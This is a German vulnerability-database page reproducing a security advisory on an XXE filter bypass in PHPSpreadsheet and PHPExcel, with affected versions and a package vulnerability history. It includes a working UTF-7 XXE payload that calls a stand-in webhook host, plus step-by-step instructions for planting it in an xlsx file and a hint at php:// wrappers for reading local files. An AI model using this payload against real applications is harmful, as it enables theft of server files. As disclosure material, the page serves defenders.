Hoch

XXE in PHPSpreadsheet encoding is returned

  • Veröffentlicht: 29.08.2024
  • Aktualisiert: 11.10.2026 10:22

Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC

  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
php
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.

Impact

Read local files lfi

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket phpoffice/phpexcel <= 1.8.2 keine Korrektur
Composer-Paket phpoffice/phpspreadsheet < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1

Verweise

CVSS-Wert 8.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-611
Plattform
Composer
Paket
phpoffice/phpexcel, phpoffice/phpspreadsheet
Veröffentlicht
29.08.2024
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-ghg6-32f9-2jp7 - CC BY 4.0

Schwachstellenhistorie: phpoffice/phpexcel

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (23) im Archiv
Einträge insgesamt
23
Erste → letzte
11.2019 02.2025
Ohne Fix
20
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 12
  • Mittel 10
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2019: 2
  2. 2020: 0
  3. 2021: 1
  4. 2022: 1
  5. 2023: 0
  6. 2024: 10
  7. 2025: 9
  8. 2026: 0
Schweregrad:
  1. Hoch · 7.1 CVE-2024-56409 <= 1.8.2 keine Korrektur
  2. Hoch · 7.1 CVE-2024-56366 <= 1.8.2 keine Korrektur
  3. Hoch · 7.1 CVE-2024-56408 <= 1.8.2 keine Korrektur
  4. Hoch · 7.5 CVE-2024-48917 <= 1.8.2 keine Korrektur
  5. Hoch · 7.5 CVE-2024-47873 <= 1.8.2 keine Korrektur
  6. Hoch CVE-2015-3542 < 1.8.1 1.8.1
  7. Hoch · 7.5 CVE-2024-45293 <= 1.8.2 keine Korrektur
  8. XXE in PHPSpreadsheet encoding is returned dieser Eintrag
    Hoch · 8.8 CVE-2024-45048 <= 1.8.2 keine Korrektur
  9. Hoch · 8.8 CVE-2019-12331 <= 1.8.2 keine Korrektur
  10. Hoch · 8.8 CVE-2018-19277 < 1.8.2 1.8.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.